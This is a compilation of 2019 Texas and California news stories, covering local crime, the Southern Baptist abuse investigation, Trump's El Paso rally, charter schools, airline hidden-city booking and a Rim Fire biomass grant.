Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSAA San Antonio Fire Department lieutenant was arrested on a drunken driving charge last month days after he was promoted, according to officials.

Lt. Brandon Griffin was arrested at about 2:15 a.m. in the 4700 block of W. Loop 1604 after a Bexar County deputy spotted him committing "hazardous traffic violations," according to a report.A woman crashed into an SAPD squad car Tuesday on the Northeast Side, police said.

The driver was headed westbound in the 500 block of Lanark Drive at about 2:25 a.m. when she hit the stationary squad car and rolled into the median.

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The officers were out of the vehicle on a call at the time of the crash and were not injured. The driver who hit their car was not injured either.

It is unclear if the woman faces any criminal charges in connection to the crash.

Text "NEWS" to 77453 for breaking news alerts from mySA.com

Caleb Downs covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com |

cdowns@mysa.com | @calebjdownsThe Bexar County District Attorney's Office says its review of the shooting outside a strip club that left an off-duty San Antonio police officer wounded and another person paralyzed has been closed with no charges filed.

The shootout between Officer Dezi Rios and Demontae Walker erupted May 29 in the parking lot of AllStars Gentlemen's Club in the 9400 block of Interstate 10. It left Walker paralyzed and Rios with six gunshot wounds to the lower half of his body.

A grand jury last year dismissed charges against Walker. The district attorney's office said Tuesday that Rios, who received a 15-day suspension in connection with the incident, wasn't facing charges either. The case has been closed.

According to district attorney and police records, the incident began shortly after Rios left a cadet graduation dinner at Ajuua, a Mexican restaurant on the Northwest Side, during which he consumed, by his own estimate, about five mixed drinks. At about 9:30 p.m., he sped past Walker off Interstate 10 onto the Wurzbach Road exit. Rios and Walker both pulled into the AllStar's parking lot.

Walker was taking his cousin, Destiny Rhodes, to work at the club, and Rios told detectives he was looking for his phone to call his wife, though SAPD Internal Affairs investigators later determined he had lied to detectives and had actually intended on visiting the club that night, according to records obtained by mySA.com.

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Walker, a firearm enthusiast who often carried a pistol on him, told investigators he put his pistol in his pocket and went to check on Rios to see if he was okay.

"It was just a coincidence that we went to the same parking lot," Walker later told a detective from his hospital room. "So, I'm guessing he thought like, I wanted to fight or something."

Rios later told investigators a different story, claiming Walker had been aggressive with him.

"Hey, motherf----r, you know you almost killed me back there?" Walker said, according to Rios' statement to detectives.

"Obviously, I f-----g didn't because you're still here," Rios said he retorted. "You're a f-----g dumbass for pulling over. Get the f--k out of here."

At some point during the argument, Walker saw Rios reach for something near his waist, so he opened fire, aiming for Rios's lower extremities in an effort to avoid killing him, he told detectives. Walker then ran back to his car and phoned 911, but before he could report the shooting, Rios returned fire, striking him several times and grazing Rhodes in the head.

All three were taken to University Hospital for treatment. Walker was paralyzed from the waist down and charged with two counts of aggravated assault with a deadly weapon, one charge relating to Rios's injuries, and one related to Rhodes, though he did not shoot her. A grand jury later dismissed the charges.

Rios suffered six gunshot wounds. He made a full recovery and is currently working light administrative duty until he's able to return to full service patrol, according to the San Antonio Police Department.

RELATED: Graphic crime scene photos show aftermath of gun battle outside strip club involving SAPD officer

Rios was issued a 15-day suspension for the road rage dispute and being intoxicated "to the extent that he was rendered unfit to report for duty." He was not punished for the alleged lies he told to police detectives. San Antonio Police Chief William McManus, who is ultimately responsible for sustaining or dismissing IA investigators' findings, declined to comment on why Rios was not punished for the violation.

Text "NEWS" to 77453 for breaking news alerts from mySA.com

Caleb Downs covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com |

cdowns@mysa.com | @calebjdownsIn the first month of the new year, more than 40 people were arrested in Bexar County on felony drunken driving charges, according to court records obtained by mySA.com.

The records showed that 43 people were arrested on various charges in January.

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The monthly tally is lower than it was in December 2018, when 62 people were arrested on felony DWI charges.

Two of the defendants, Omar Ivan Vasquez-Cardenas and Osis Rodriguez, were charged with intoxication manslaughter in January.

Vasquez-Cardenas is accused of killing a passenger in his car on Jan. 1 on Loop 410 near Marbach Road.

Rodriguez is accused of running over a pedestrian in the 6900 block of Callaghan Road.

READ MORE: 1 of 2 pedestrians allegedly killed by drivers who then fled ID'd

Here are the number of charges broken down by charge for December:

Intoxication assault (third-degree felony punishable by up to 10 years in prison): 1

Intoxication manslaughter (second-degree felony punishable by up to 20 years in prison): 2

Driving while intoxicated with child passenger under 15 years old (state jail felony punishable by up to two years in prison): 10

Driving while intoxicated  third or more (third-degree felony): 30

MySA.com has tracked the felony DWI issue in Bexar County since 2015.

The mugshot for Jose Luis Rodriguez Jr., who was charged with driving while intoxicated on Jan. 27, 2019, was not available, according to Bexar County Jail officials.

Click through the slideshow to see the mugshots of suspects arrested on felony DWI charges in January.

Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSAA trail riding group from Corpus Christi said two of their horses were poisoned Saturday just miles away from the San Antonio Stock Show and Rodeo.

For the past nine years, the South Texas Trail Riders make the trek from Corpus Christi to San Antonio on horseback, a 9-day journey that pays homage to the cowboys of the Old West.

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Thomas Hall, president of the group, told mySA.com that his horse, Babe, and another horse, Snapper, were tied up to his friend's trailer near Martinez Hall, roughly five miles away from the stock show.

Both horses were fine throughout the day Saturday, Hall said, but on Sunday they discovered that Snapper was dead and Babe was sick.

A veterinarian told Hall that initial findings indicated both horses were exposed to poison.

"The poison messed up (Babe's) liver and shut down her kidney," Hall said, who had to put the horse down. "We're waiting to get a full toxicology report."

ON EXPRESSNEWS.COM: Riders on horseback head to the San Antonio Stock Show & Rodeo from Eagle Pass

This is the first time Hall has experienced something like this, he said.

"If someone has a problem with someone, you've got to work it out with that person," Hall said. "Don't take it out on someone's animal. It's heartbreaking you have a good time all week and then something tragic like this happens."

Hall said Babe was a part of his family.

"I've got other horses but each one has a special place," he said.

A spokesperson for the sheriff's office said Wednesday that an investigator has reached out to the group so a report can be filed and the investigation can begin.

Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSATwo pastors with sex crime convictions in the San Antonio area are named in a joint investigation by the Houston Chronicle and San Antonio Express-News which resulted in a three-part series revealing 700 victims and a database of 220 pastors and church officials within the Southern Baptists Convention who were convicted of sex crimes or accepted plea deals since 1998.

John Orville McKay Jr., a former pastor at First Baptist Church in Hondo, and Morris Davis Roberts, a former pastor in the Dallas area, were both convicted of sex crimes in Medina and Bexar counties, respectively.

Though victims of sexual abuse have requested that the Southern Baptist Convention, a network of more than 50,000 churches, keep records of convicted pastors and leaders, SBC has refused. The two newsrooms spent months compiling their own database by searching news archives, websites and national registries. The result is a searchable collection of 220 individuals and summaries of their crimes, from California to Texas, dating back 20 years. Texas accounts for more convicted church leaders than any other state.

Search the database on HoustonChronicle.com, then read our exclusive investigative series, then read our exclusive investigative series, ABUSE OF FAITH.

According to McKay Jr.'s summary, the Hondo pastor was convicted in 2004 for sexually assaulting a 15-year-old girl and was sentenced to 10 years. He lived as a registered sex offender in San Antonio until dying last September.

McKay resigned in March 2003, about a month after the teen accused him of having sexual relations with her while she was a parishioner at First Baptist Church in Hondo and he was her spiritual adviser, according to San Antonio Express-News reporting from that year.

McKay was investigated by Medina County Sheriff's Sgt. Wayne Springer after the teen's father suspected the pastor was sleeping with the girl. As part of his investigation, Springer spoke to previous churches where McKay had been employed, including a now-closed church in San Antonio, where he committed "indiscretions" with a married woman, according to the Abuse of Faith series.

The pastor, who was 57 at the time, drove the teenager to hotels in San Antonio and Devine weekly to have sex. After his 2003 arrest, he spent nearly nine years in a Huntsville prison, then moved to San Antonio.

The Hondo church's current senior pastor, Mike Vasquez, told the Houston Chronicle and San Antonio Express-News that all employees, especially those working with children, undergo background checks.

No specific church is listed for Morris David Roberts, but the database describes him as a pastor in Bexar County who pleaded guilty to indecency with a child by exposure in 2005. Roberts was given deferred adjudication and was placed on probation for 10 years. He died in 2016, a year after completing probation.

Both men are named on a list of church leaders convicted of sex crimes published by the Baptist General Convention of Texas in 2007.

Since the Houston Chronicle article "Abuse of Faith," revealing 700 victims, was published, SBC President J.D. Greear has posted Twitter threads, saying he is "broken."

"We must admit that our failures, as churches, put these survivors in a position where they were forced to stand alone and speak, when we should have been fighting for them. Their courage is exemplary and prophetic. But I grieve that their courage was necessary," he continued on Twitter. "Weleaders in the SBCshould have listened to the warnings of those who tried to call attention to this. I am committed to doing everything possible to ensure we never make these mistakes again."

Madalyn Mendoza is a breaking news reporter and general assignment writer. Read her on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | mmendoza@mysa.com | @MaddySkyeThe Houston Chronicle and San Antonio Express-News released the third and final part in the exclusive Abuse of Faith investigation Wednesday, detailing decades of sexual misconduct in Southern Baptist churches across the country.

In the series, the newspapers found that nearly 220 church leaders were convicted of sex crimes and 700 victims.

Part 1: Southern Baptist sexual abuse spreads as leaders resist reforms

Those leaders were pastors, youth pastors and other people in positions of power, the investigation found.

Years of calls from victims and advocates for the Southern Baptist Convention to host a database of these church leaders went unanswered. Instead, the newspapers created their own database.

See the database of Southern Baptist church pastors, leaders, employees and volunteers who pleaded guilty or were convicted of sex crimes here.

The investigation also revealed that several of those who were convicted of sex crimes  including some of the most egregious child sex crimes  were allowed to continue their work at other churches.

Part 2: Southern Baptist churches hired dozens of leaders previously accused of sex offenses

"You just got to be a big idiot to say, 'Hey, you know what? I'm going to hire this person even though they've got this accusation against them,'" said William Rushing, pastor of Woodward Avenue Baptist Church in Alabama.

Of the 220 church leaders convicted nationally, about 100 of them were described as youth pastors or youth ministers, the investigation found.

How can Southern Baptist churches and parents help prevent sexual abuse?

Some of those youth pastors and ministers were convicted of sexually assaulting members their young congregation or having prolonged sexual relationships. Those assaults sometimes happened in pastors' studies or Sunday school rooms.

One of those youth pastors was Chad Foster, who worked at Houston's Second Baptist Church when he pleaded guilty to sexually assaulting an underage congregant.

John Van Beekum

"You can't let your guard down," said Amanda Griffith, a federal prosecutor in San Diego who has handled dozens of sex crime cases, including those involving predatory youth pastors. "There's the belief that church is sacrosanct, but this can happen anywhere."

In response to the investigation, August "Augie" Boto, interim president of the Southern Baptist Convention Executive Committee, said it was a positive revelation about an ongoing problem.

"My initial reaction is anger that (the abuse) happened," Boto said. "Just within the last few months I was in a car that was broken into and my briefcase was stolen. My initial reaction was not embarrassment that I didn't watch the car close enough or that I left the briefcase on the seat. That was not my initial reaction. My initial reaction was anger that the predator did what he did. Taking advantage of the vulnerable is what criminals do. And when that happens, our job is to voice it. Not to hide it."

"I'm all for shining the light of day upon crime," he said.

Help us investigate Southern Baptist sexual abuse.

Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com | Text CHRON to 77453 to receive breaking news alerts by text messageNew images have been released in the case of Samuel Little, a 78-year-old man who the FBI says may be among the most prolific serial killers in U.S. history.

Little is currently serving three consecutive life sentences in connection with three murders from 1987 to 1989. He was first arrested at a Kentucky homeless shelter in 2012, and a DNA match tied him to those killings, authorities said.

The Texas Rangers say he confessed to a total of 90 murders, and dozens of agencies are working to match his confessions with women who turned up dead from California to Florida between 1970 and 2005.

He is in poor health and will likely stay in prison until his death, the FBI said. Authorities are now looking to identify his victims and provide closure on the unsolved cases.

Little recently created 16 drawings of his victims based on his memory. One of the victims, only identified as a black female between 25 to 28 years old, was killed in Houston between 1976 and 1979 or in 1993, the FBI said.

The FBI's website includes more information about Little's past, as well as a map of some of his alleged killings.

Anyone with information about the victims or the case can call the FBI's Violent Criminal Apprehension Program at (800) 634-4097

Editor's note: In a previous version of this story, Chron.com reported that Samuel Little was jailed in Texas. That information was based on an FBI news release dated November 27, 2018. However, we have learned that Little was transferred to California since that release was issued. Wise County, Texas Sheriff Lane Akin confirms that Samuel Little was taken to the California State Prison, in Los Angeles County in January, 2019.

Click through the slideshow above to see if you know any of the women he killed across the county.

Julian Gill is a digital reporter in Houston. Read him on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | julian.gill@chron.com | NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here.(CNN)  A photojournalist for the BBC was attacked Monday while covering U.S. President Donald Trump's rally in El Paso, Texas.

A rallygoer gained access to an area designated for the news media and began shoving people, according to video of the incident. No one was seriously hurt. But it is the latest example of anti-media hostility boiling over at Trump's campaign events.

"BBC cameraman Ron Skeans was violently pushed and shoved by a member of the crowd," the broadcaster said in a statement. "The man was removed by security and Ron is fine."

Journalism advocates condemned the incident and connected it to the president's constant criticism of the press.

"The president of the United States should make absolutely clear to his supporters that violence against reporters is unacceptable," the White House Correspondents Association said in a statement on Tuesday afternoon.

Later in the afternoon, White House press secretary Sarah Sanders weighed in.

"President Trump condemns all acts of violence against any individual or group of people -- including members of the press," she said. "We ask that anyone attending an event do so in a peaceful and respectful manner."

The Trump 2020 campaign, which held the rally, also acknowledged the disturbance in a statement on Tuesday.

"We appreciate the swift action from venue security and law enforcement officers," the campaign's chief operating officer Michael Glassner said.

The BBC's North America editor Jon Sopel described it differently in a blog post.

Sopel said "there was no security last night, and the attack on Ron was stopped by a Trump-supporting blogger. Law enforcement were slow to get involved."

Video released by the BBC showed a man wearing a "Make America Great Again" hat coming into contact with a cameraman and swearing before being led away.

"I didn't know what was going on," Skeans told the BBC. He described the contact as a "very hard shove."

The BBC said in its statement that it "is clearly unacceptable for any of our staff to be attacked for doing their job." The public broadcaster also noted that Trump "checked with us that all was OK."

"You all right? Everything okay?" Trump said during the incident, gesturing toward the press pen. Members of the audience chanted his name and he continued with his remarks.

Trump has made hostility toward the media a feature of many of his rallies, where a metal barricade usually separates his supporters from reporters. Numerous journalists have raised concerns over their safety. Several television networks sometimes hire private security to accompany reporters to the events.

Eleanor Montague, the BBC's Washington news editor, said in a tweet that the El Paso crowd had been "whipped up into a frenzy against the media by Trump and other speakers all night."

The BBC's Washington correspondent Gary O'Donoghue described Monday's incident as "an incredibly violent attack" in an interview with his employer.

"This is a constant feature of these rallies  a goading of the crowds against the media," O'Donoghue told the BBC. He added he had previously been "spat at" during a Trump rally.

Other journalists also reported being pushed around by the man at Monday's rally.

"Here's the moment a guy wearing a red MAGA hat jumped into the media pen and shoved several cameras, including ours," Jacob Rascon, a reporter for KPRC in Houston, said on Twitter.

CNN Chief White House Correspondent Jim Acosta last year posted a video on Twitter that showed a hostile crowd at a Trump rally in Tampa, Florida.

"I'm very worried that the hostility whipped up by Trump and some in conservative media will result in somebody getting hurt," Acosta wrote on Twitter.

Some Republicans have called on Trump to stop his attacks on the media.

Mitt Romney, a senator from Utah and former Republican presidential nominee, argued last year that Trump's tactics are detrimental to democracy.

"Surely every president has endured stories that he knew were inaccurate and has chaffed at one or more news publications," Romney wrote in a blog post. "But no American president has ever before vilified the American press or one of its professional outlets as an 'Enemy of the People.' "

On Tuesday Reporters Without Borders, which advocates for press freedom around the world, said it was looking into what happened in El Paso.

"We firmly denounce all physical violence against reporters for doing their jobs," the group said. "This is unacceptable in the country of the First Amendment."

This story was first published on CNN.com, "Press advocacy groups condemn attack on BBC cameraman at Trump rally."Ex-pro wrestler and Instagram model Brooke Adams is suing her former landlord, claiming he wrongfully evicted her because of her emotional support dog.

Adams and her fiance, Weston Wayne Piper, started renting a house in the Greater Heights in February 2017, according to court documents. When they moved in, they paid a pet deposit fee for a small dog, named Noodles.

Then on Dec. 4, 2017, the couple brought home an emotional support dog, named Waffles, for Adams  which is where their troubles began.

"He was just the cutest thing," Adams said about Waffles in court.

Adams testified that she suffers from depression and that Waffles helped her cope. She said she had posted a picture of Waffles on Instagram explaining that he was a service animal, hoping to shed light on the reality of depression.

Fan Chen, who owns the property, and Rutkun Tao, the property manager, saw the post and noticed that Waffles was not the same dog as Noodles.

The day after Adams brought Waffles home, the two told Adams and Piper they violated the terms of their lease because they did not give prior notice about Waffles being on the property. They also asked that the couple pay an additional pet deposit fee.

Adams testified that they offered to pay the extra pet deposit fee, but that Chen and Tao refused to accept it. Instead, the landlords gave the couple two eviction notices in a matter of weeks.

Adams and Piper vacated the house on New Year's Eve that year.

Under federal housing laws, landlords are required to provide reasonable accommodations to tenants with service and assistance animals, such as an emotional support dog. Guidelines from HUD say that tenants must make requests to their landlords for accommodations.

Assistance and service animals are not considered pets under federal law, however.

Adams testified in federal court Tuesday that she believes she wasn't required to tell Chen about Waffles, instead saying that it was her "right" to have the dog.

About a month after Adams and Piper left the home, attorneys for Chen and Tao sent a letter to the couple demanding close to $14,000 for lost attorney fees, lost rent and other charges associated with the couple leaving the house.

The couple originally sued Chen in state court, but that lawsuit was moved to federal court in November 2018.

The trial is expected to continue Wednesday.

Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com | Text CHRON to 77453 to receive breaking news alerts by text messageFormer leaders of the Harmony and YES Prep public schools networks each want to start new charter ventures in the Houston area, potentially enrolling thousands of students.

Organizations led by Soner Tarim, the co-founder of Harmony Public Schools, and Jason Bernal, the one-time CEO of YES Prep Public Schools, are among the 14 Houston-area nonprofits seeking to obtain approval to create charter networks in the region, according to applications submitted to the Texas Education Agency.

The requests will be reviewed in the coming months by TEA officials, who have approved about 16 percent of applications in recent years.

Although both since have left their positions, Tarim and Bernal remain among the most notable education names in the Greater Houston area.

Tarim helped open the first Harmony campus in 2000, overseeing the network's expansion to 50-plus campuses enrolling 33,250 students across the state. Tarim stepped down as CEO in 2017, the year he was honored as "Leader of the Year" by the Texas Charter Schools Association, to focus on advocacy.

Harmony schools last year averaged a state accountability score of 84, equivalent to a "B" grade, with several campuses earning among the highest marks in the state. The network educates students from a wide array of ethnic, racial and socioeconomic backgrounds.

Tarim now leads a group seeking to open Royal Public Schools, which would serve students in the Greater Houston and Austin areas. The network would seek to gradually open two elementary schools, one middle school and one high school in the same Houston area, located near the Sam Houston and Westpark tollways. At capacity, the Houston enrollment would total about 2,400 students.

Tarim and others involved with Royal Public Schools unsuccessfully sought a charter last year, missing the cut following the TEA's application review.

Bernal started at YES Prep as a teacher in 1998, rising to CEO of the widely-lauded network in 2011. He resigned in 2015 and joined Houston ISD as then-superintendent Terry Grier's "transformation" officer, responsible for raising achievement at 47 of the district's longest-struggling campuses. Bernal served as a schools support officer under subsequent superintendents, overseeing fewer schools.

Bernal and Neighborhood Schools Inc., a newly formed nonprofit comprised of alumni from the KIPP charter school network, are seeking approval for single campuses on Houston's north side and west side. They anticipate serving 725 students in 2020, with a final capacity of 2,800 students.

Five other applicants are fellows of Building Excellent Schools, a Boston-based organization that trains future charter school leaders. The TEA last year approved two applications from Building Excellent Schools fellows to open networks in the Houston area.

Two other notable names in Houston education circles, former Houston ISD school board president Michael Lunceford and charter school leader Lois Bullock, lead a group seeking approval for two charter schools in the Beaumont area.

Lunceford served on the HISD board for eight years before declining to seek re-election in 2017. Bullock has operated in-district HISD charter schools since 1998, currently overseeing eight campuses with a combined enrollment of 4,150 students. One of Bullock's charter networks sought to take control of 10 HISD lowest-performing schools as part of the district's effort to stave off state sanctions in April 2018, but HISD trustees never voted on the proposal following backlash over the arrangement.A novice politician hailing from the New York borough of Queens gains enormous media attention and a huge and wildly passionate following in part by lobbing irregular critiques at the news media.

Donald Trump in 2015? Yes. But also Alexandria Ocasio-Cortez, circa 2019.

Their backgrounds, gender and - especially - their politics are different, but the Republican president and the outspoken freshman Democratic congresswoman from New York share at least one similarity: Neither has been shy about using social media to pummel the press. And like Trump, Ocasio-Cortez has been cheered on by millions of followers when she does so.

Ocasio-Cortez has squared off on Twitter against such varied media outlets as the New York Post, The Washington Post, Politico, the Hill newspaper, CBS News, Fox News and Glenn Beck's BlazeTV for statements she deemed offensive, inaccurate or just tone deaf. And that was just in her first two weeks as a member of Congress.

But there is big difference: Ocasio-Cortez seems to respect the role of the news media, even as she criticizes it. Her jeremiads tend to be surgical rather that the blunt attacks that Trump has aimed at the mainstream media. To date, she hasn't described journalists as "the enemy of the American people."

On the other hand, she has banned reporters from covering her, just as Trump has. But the congresswoman has on occasion doled out praise to the MSM, something nearly unthinkable with Trump. "Public radio is great!" she tweeted late last month. "As is @ProPublica, @frontlinepbs & a great deal of other incredible outlets worth our support."

Journalists probably liked this, too: "The biggest threats to journalism right now are tech monopolies & concentration of ownership," she tweeted after BuzzFeed, HuffPost and other news organizations announced layoffs. "Healthy democracy *requires* high-quality journalism."

But Ocasio-Cortez, like Trump, is pugnacious in the face of perceived slights by news organizations. After she criticized CBS News' hiring practices, National Journal political editor Josh Kraushaar tweeted that Ocasio-Cortez shared Trump's habit of being a "media scold." She let him have it with a mini-lecture on Twitter about race, concluding, "It's not about "quotas." It's about understanding the country you're living in."

The exchange apparently didn't persuade Kraushaar to change his original opinion. "Like President Trump, Congresswoman Ocasio-Cortez is a master of the muck, using the platform to ... debase our discourse with catchy put-downs instead of engaging in serious debate," he said via email. "Those qualities make her successful on social media, but not necessarily in Washington."

He added, "I welcome good-faith criticism from readers and colleagues, but when a member of Congress uses their power to send a social media mob against their critics, it's an abuse of power."

Ocasio-Cortez's staffers declined to discuss their boss' approach regarding the media for this article. A spokesman, Corbin Trent, responded to a lengthy list of questions with a one-sentence reply: "I think the Congresswoman has spoken for herself plenty on this topic."

Ocasion-Cortez - or @AOC to her 2.8 million Twitter followers - came out swinging again last month after news organizations wrote up her appearance on "Late Night with Stephen Colbert." During the program, Colbert asked the 29-year-old representative how concerned she was when her fellow Democrats tell her to "'wait your turn, go slow, don't ask for so much so fast right now.'"

Colbert then framed his question this way: "On a scale from zero to some, how many f---s do you give" about such comments?

Ocasio-Cortez formed her hand into a circle, smiled and said to applause and laughter, "I think it's zero."

The next day, she lit into the Hill, which accurately summarized its story by using Colbert's language in its headline: "Ocasio-Cortez: I give 'zero' f---s about pushback from other Democrats."

Ocasio-Cortez tweeted: "I actually didn't say this, so while I know 'brown women cursing' drives clicks, maybe you accurately quote the whole exchange instead of manipulating people into thinking I said this sentence instead of just the word 'zero.'" The Hill's article did, in fact, quote the exchange.

The Hill's editor, Bob Cusack, stands by the coverage. "Our headline and article was accurate, but in the world of politics, there's a lot of give and take," he said. "The congresswoman objected to it, and that's her right."

She also snarked at Politico, which ran a similar headline, and at the New York Post, which she wrote not only ran with "the false quote, but (added) an angry photo to boot. ... This is how news hysteria develops out of nothing at all."

The response hints at another way in which Ocasio-Cortez is like Trump: She sometimes misstates or exaggerates facts, and is reluctant to own up to it when called on it.

After The Washington Post's Fact Checker column handed Ocasio-Cortez four Pinnochios, the lowest rating for factuality, for her misleading claim that $21 trillion in Pentagon accounting errors could fund two-thirds of the projected cost of universal health care, Ocasio-Cortez clapped back in an interview on CBS' "60 Minutes."

Asked about this dubious statement, she replied, "I think that there's a lot of people more concerned about being precisely, factually and semantically correct than about being morally right," an ends-justifies-means approach that drew some criticism.

She offered an even more convoluted and no more contrite response to the fact-checking of her statements about "living" wages, including her assertion that Walmart and Amazon are "paying people less than the minimum wage." (Amazon chief executive Jeffrey Bezos owns The Washington Post). Glenn Kessler, editor and chief writer of the Fact Checker, rated her statements three Pinnochios, effectively "mostly false."

Alerted by aides that Kessler's column was forthcoming, @AOC replied with pre-emptive sarcasm. She tweeted, "Me: 'I don't think billionaires should concentrate wealth while employing people who are sleeping in cars working a zillion hours to survive.

"Next day: 'That will be TEN PINOCCHIOS to Ocasio, "zillion" is not a number and I found someone who sleeps in a tent, not a car.' "

Last week, Ocasio-Cortez stirred some honey into her vinegary comments about the news media. She tweeted a clip of herself being interviewed on MSNBC and praised "Meet the Press" moderator Chuck Todd for hosting "a thoughtful 20 min conversation that wasn't hung up on conflict, but exploration."

Hard to imagine Trump doing that.San Antonio's growing food truck culture is brewing a category dedicated to drip devotees.

Though they may be little, these cruising coffee companies are able to serve fierce favorites from mochas to cafe de olla.

FIND OUT FIRST: Get San Antonio breaking news directly to your inbox

The fleet of roving roasters includes three-year veterans, like Mila Coffee, which will celebrate an anniversary in March, as well as newcomers, like Niche, which opened in December.

RELATED: Eat all the brunch you can at these San Antonio spots

Whether you're in the mood for specialty coffee or teas, there's a latte love about San Antonio's sipping scene.

Track down some of the city's coffee trucks and trailers in the gallery above.

Madalyn Mendoza is a breaking news reporter and general assignment writer. Read her on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | mmendoza@mysa.com | @MaddySkyeA Lufthansa passenger who utilized a travel-savvy practice known as hidden city booking has found himself the target of a lawsuit.

The practice involves booking a flight to one destination in order to actually disembark at one of the connecting cities.

It goes something like this: Say you're in San Francisco and you want to get to Houston, but it's cheaper to fly to Atlanta connecting through Houston. So you book the cheaper flight, and after you land in Houston you never board the connecting flight. Instead, you've just saved yourself some money, but have likely run afoul of the airline's terms of service.

RELATED: Southwest Airlines jet welcomed in Honolulu [PHOTOS]

As TravelPulse details, Lufthansa believes the unnamed man, who was supposed to be flying from Seattle to Oslo, intentionally aborted the trip in Frankfurt in 2016. He reportedly later booked a new trip back to Seattle from Frankfurt.

Lufthansa is now seeking 2,112 (roughly $2,385) in damages. The case was dismissed by a judge in Berlin, but Lufthansa's spokesperson told CNN that the company is working on an appeal.

RELATED: United Airlines making it easier to upgrade?

There are multiple reasons why airlines and other travel sites abhor the practice. For starters, it costs them money and prevents them from being able to accurately predict how many people will actually show up for any given flight.

But it's also bad from a customer service standpoint. Fliers who are actually trying to fly the route that makes up someone else's abandoned hidden city leg won't be able to book a ticket despite the empty seat.

Some airlines and travel companies, like United Airlines, include such language in their contracts of carriage that essentially prohibits such practices. In fact, in 2014 United teamed with Orbitz to sue the then-22-year-old founder of Skiplagged, a site that promotes cheap airfare using this method, for "unfair competition" and "deceptive behavior." The case, however, was dismissed by the Northern District Court of Illinois over jurisdictional issues.

Orbitz ultimately settled and United did not pursue an appeal.

Alyssa Pereira is an SFGATE staff writer. Email her at apereira@sfchronicle.com or find her on Twitter at @alyspereira.

EL PASO  The border fence in El Paso isnt just stopping crime, but preventing gruesome decapitations and hangings in the city, Texas Lt. Gov. Dan Patrick told a national television audience on Monday night.

Patrick, a Republican from Montgomery County, told FOX News Channels Laura Ingraham during an interview that the border wall is preventing the kind of horrendous murders he says are going on in Juarez, the city across the Rio Grande River from El Paso that has at times been known as the murder capital of the world.

FOR SUBSCRIBERS: Trump goads Beto O'Rourke at El Paso rally, only on HoustonChronicle.com

If this fence were not here, that violence  of decapitating people, of hanging people from bridges, of cutting off their heads and rolling them in pool halls and down the street  that violence would be here in El Paso, Patrick said.

Patrick said last year, Juarez had 1,100 murders, while El Paso had just 23.

Patrick was in El Paso on Monday, as part of President Donald Trumps rally in support of building more border walls and barriers along the 2,000-mile U.S.-Mexico border. About 1,200 of those miles are in Texas, which already has about 112 miles of borders, including more than 42 miles in the El Paso area.

Trump made a similar plea to supporters at the El Paso County Coliseum where he said the wall in the city has improved life along the border.

Walls save lives, Trump told thousands at the rally.

The fencing in El Paso started being built in 2008 under the President George W. Bush administration. Some El Paso residents and critics of the administration have taken issue with Trump making it sound like El Paso was a dangerous city before the fencing was put up.

In a counter rally across the street from Trump on Monday, former U.S. Rep. Beto ORourke told thousands of his supporters that the city was safe long before a wall was built here in 2008.

The White House has turned to Patrick as a key adviser on border issues. Last month, the White House flew Patrick to D.C. to consult with senior advisor Jared Kushner as Trump prepared a prime time address on border security. Later, Patrick joined Trump in McAllen for a discussion with border patrol officials about the need for a wall.One person was injured after an 18-wheeler carrying thousands of gallons of fuel rolled over on an overpass just north of Plainview Tuesday morning.

The rollover occurred at the Interstate 27 and County Road 60 overpass around 9:30 a.m.

The driver, 24-year-old Christopher Villarreal-Ochoa, was transported with serious but non-life-threatening injuries, said Tim Gibson, Plainview Fire Chief.

Villarreal-Ochoa was driving southbound on Interstate 27 business lane in a 2015 Mack Truck Tractor towing a semi-trailer when the trailer drifted west off the roadway, according to Lt. Bryan Witt, spokesperson for the Department of Public Safety.

The trailer was carrying 5,200 gallons of diesel and 2,800 gallons of unleaded gasoline and some of it spilled, though there are no estimates as to how much.

Gibson said crews slowed or stopped most of the serious leaks but the tanker, which is owned by Groendyke Transport, was still leaking just after 4 p.m. He expected crews to remain on scene through the night to monitor the spill and to oversee the process of pumping the remainder of the fuel in the tanker into another truck.

When the trailer went off the roadway, it slid down the embankment between the services roads which then caused it to overturn.

South Plains Hazardous Material Response Team, out of Wolfforth, was called out for consultation, Gibson said. A team out of Dallas was on the way to handle to spill by just after 4 p.m.

Multiple agencies including Plainview Fire/EMS, Plainview Police, Hale County Sheriff's Office and DPS responded to the rollover. Gibson said Texas Department of Transportation officials also responded to the scene too.Sierra Nevada Conservancy's Elliot Vander Kolk, consultant Bill Carlson and Roy Anderson of the Beck Group View Photos

Sonora, CA  Part of a $70-million federal resiliency grant awarded to the region following the Rim Fire is $22-million to construct a biomass facility.

However, there are growing concerns about whether it will meet federally set timelines.

Yesterday the board heard an update about efforts to develop the project being overseen by the states Sierra Nevada Conservancy, and the tentative plan is to allow 4-5 businesses to share the site. It could create 50 full-time jobs, as well as 100-150 indirect jobs.

Companies would have to submit proposals, and they would also have to bring funding to the table, with the overall project expected to cost around $40-million. The businesses would likely focus on small scale biomass power, a small scale sawmill, post and pole manufacturing and firewood bundling.

Two potential sites have been identified, one along Camage Road, and another in the Chinese Camp area. It was noted that 7-10 acres is the ideal property size. The Camage Avenue site is only about five acres, which is of concern, but the Chinese Camp location would be a further distance from the biomass source, creating an increase in costs for transportation.

The facility must be in operation and grant expenditures spent by 2022. A big concern is that if a lawsuit is filed, it could delay construction. There are also questions about the impact of PG&Es bankruptcy.

Supervisor Sherri Brenann initially voiced concerns about meeting the deadline. Board member Anaiah Kirk also chimed in, and noted that there are two mills already in place in the county, so he questioned whether there are other ways to spend the $22-million to make the community more fire safe.

